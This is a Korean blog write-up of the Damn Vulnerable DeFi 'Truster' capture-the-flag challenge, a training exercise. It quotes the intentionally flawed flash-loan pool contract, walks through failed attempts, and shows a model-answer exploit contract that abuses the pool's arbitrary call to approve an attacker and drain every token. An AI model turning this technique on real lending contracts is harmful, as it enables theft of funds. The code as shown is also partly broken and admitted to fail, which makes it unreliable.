[Damn Vulnerable DeFi] Truster

0xDave·2022년 10월 24일
0

Ethereum

목록 보기
51/112

(수정중)

Challenge #3


More and more lending pools are offering flash loans. In this case, a new pool has launched that is offering flash loans of DVT tokens for free.

Currently the pool has 1 million DVT tokens in balance. And you have nothing.

But don't worry, you might be able to take them all from the pool. In a single transaction.


TrusterLenderPool.sol


// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

/**
 * @title TrusterLenderPool
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract TrusterLenderPool is ReentrancyGuard {

    using Address for address;

    IERC20 public immutable damnValuableToken;

    constructor (address tokenAddress) {
        damnValuableToken = IERC20(tokenAddress);
    }

    function flashLoan(
        uint256 borrowAmount,
        address borrower,
        address target,
        bytes calldata data
    )
        external
        nonReentrant
    {
        uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
        require(balanceBefore >= borrowAmount, "Not enough tokens in pool");
        
        damnValuableToken.transfer(borrower, borrowAmount);
        target.functionCall(data);

        uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
        require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
    }

}

해결과정


flashLoan에서 핵심은 아래 부분이다. 토큰을 전송하고 다시 돌려받는 부분이 없다. 추가적으로 functionCall에 의해서 target은 컨트랙트가 되어야 한다.

damnValuableToken.transfer(borrower, borrowAmount);
target.functionCall(data);

현재 생각나는 방법은 크게 두 가지다. 첫 번째는 flashLoan()의 인자로 넣어주는 data field를 통해서 pool의 모든 자금을 attaker에게 송금하도록 하는 것. 두 번째는 data field를 통해서 flashLoan을 계속 호출하게 하는 것. 하지만 두 번째 방법은 nonReentrant 때문에 안 될 수도 있다.

첫 번째 시도

    const data = await ethers.abi.encodeWithSignature(
      "transfer(address to,uint256 amount)",
      attacker.address,
      TOKENS_IN_POOL
    );

    await this.pool.flashLoan(0, attacker.address, pool.address, data);

encodeWithSignature가 정의되지 않았다고 뜬다. 아마도 해당 함수는 solidity에서 사용 가능하지만 ethers에서는 사용하지 못 하는 것 같다.


stackexchange 글을 참고해서 아래 형태로 바꿨다.

    let ABI = ["transfer(address to,uint256 amount)"];
    let iface = new ethers.utils.Interface(ABI);
    let data = await iface.encodeFunctionData(transfer, [
      attacker.address,
      parseEther("1000000"),
    ]);

    await this.pool.flashLoan(0, attacker.address, pool.address, data);

아래 에러가 뜨면서 실행되지 않았다. 아무래도 tranfer는 주로 솔리디티 함수 안에서 _to.transfer(address, amount) 형태로 사용해서 abi 코드를 사용하는 것은 안 맞는 것 같다.

Error: unsupported fragment (argument="value", value="transfer (address to,uint256 amount)", code=INVALID_ARGUMENT, version=abi/5.4.1)

두 번째 시도

컨트랙트를 만들자. 간단하게 이더를 전송하는 컨트랙트를 짰다.

contract Attack{
    function attack(address payable _to) external{
        (bool sent, ) = _to.call{value: 1000000 ether}("");
        require(sent, "Failed to send Ether");
    }
}

이후 디플로이하고, 해당 함수를 encoding 해서 flashLoan의 data에 넘겼다.

  it("Exploit", async function () {
    const AttackContract = await ethers.getContractFactory("Attack", deployer);
    this.attack = await AttackContract.deploy();

    let ABI = ["function attack(address payable _to)"];
    let iface = new ethers.utils.Interface(ABI);
    let data = iface.encodeFunctionData("attack", [attacker.address]);

    await this.pool.flashLoan(0, attacker.address, this.attack.address, data);
  });

하지만 트랜잭션이 fail. 곰곰이 생각해보니 Attack 컨트랙트가 토큰을 전송할 수 있도록 approve 해주지 않았다.


세 번째 시도

  it("Exploit", async function () {
    const AttackContract = await ethers.getContractFactory("Attack", deployer);
    this.attack = await AttackContract.deploy();

    let value = ethers.utils.formatEther(1000000);
    await this.token.approve(this.attack.address, parseInt(value));

    let ABI = ["function attack(address payable _to, uint256 amount)"];
    let iface = new ethers.utils.Interface(ABI);
    let data = iface.encodeFunctionData("attack", [
      attacker.address,
      ethers.utils.parseEther("1000000"),
    ]);

    await this.pool.flashLoan(0, attacker.address, this.attack.address, data);
  });

이런 식으로 토큰을 approve하고 다시 시도해봤지만 같은 에러가 나왔다..


모범 답안

결국 답을 봤다. 먼저 컨트랙트 부분부터 살펴보면 pool과 토큰 주소를 가져와서 컨트랙트 내에서 approve data를 만들고 flashLoan 함수를 실행한다.

contract Attack{
    function attack(address _pool, address _token) public{
        TrusterLenderPool pool = TrusterLenderPool(_pool);
        IERC20 token = IERC20(_token);

        bytes memory data = abi.encodeWithSignature(
            "approve(address, uint256)", address(this), uint(-1)
        );

        pool.flashLoan(0, msg.sender, _token, data);

        token.transferFrom(_pool, msg.sender, token.balanceOf(_pool););
    }
}

내가 생각했던 답안과의 차이점을 정리했다.
  1. 나는 컨트랙트 외부에서 approve 하고 flashLoan을 호출하는 방식으로 접근했다. 모범 답안에서는 컨트랙트 내에서 approve 하고 flashLoan을 호출했다. 내부에서 approve 할 때 가장 큰 특징은 내가 첫 번째로 시도했던 abi.encodeWithSignature를 통해 byte data를 만들 수 있다는 점이다.

  2. approve 할 때 나는 단순히 pool에 존재하는 토큰의 양을 입력했다. 하지만 모범 답안에서는 uint(-1)을 이용했다. underflow를 만들어서 uint의 최대 숫자를 만들어낸 것이다. 앞으로 max 값으로 approve를 사용할 때는 uint(-1)를 이용하자.
    -> 솔리디티 0.8 버전 이상부터 type(uint).max를 사용하라고 한다.

  3. data를 컨트랙트 외부에서 사용할 때 let으로 선언했었는데 내부에서 사용할 때는 bytes memory를 붙여서 사용했다. 나중에 사용할 때 기억해놓기.

  4. abi.encodeWithSignature를 사용할 때 파라미터를 타입으로만 작성한 것. 내가 시도할 때는 무조건 타입과 파라미터 이름을 같이 사용하려고 했었다. 타입만 작성해도 괜찮다는 것을 알았다.

  5. approve 했으니 transferFrom으로 토큰을 전송하는 것은 당연하다!

  6. msg.sender는 타입이 필요 없다!


이제 js부분을 보자.

  it("Exploit", async function () {
    const attackerFactory = await ethers.getContractFactory("TrusterAttacker", attacker);
    const attackerContract = await attackerFactory.deploy(this.pool.address,this.token.address);
    await attackerContract.attack();
  });

단순히 컨트랙트를 가져오고 디플로이 후 attack 함수를 실행하고 있다.

근데 모범 답안으로 실행해도 다음과 같은 에러가 계속 뜬다.. 뭐가 문젤까..

출처 및 참고자료


  1. etherjs equivalent of abi.encodeWithSignature
  2. SENDING TOKENS USING ETHERS.JS
profile
Just BUIDL :)

0개의 댓글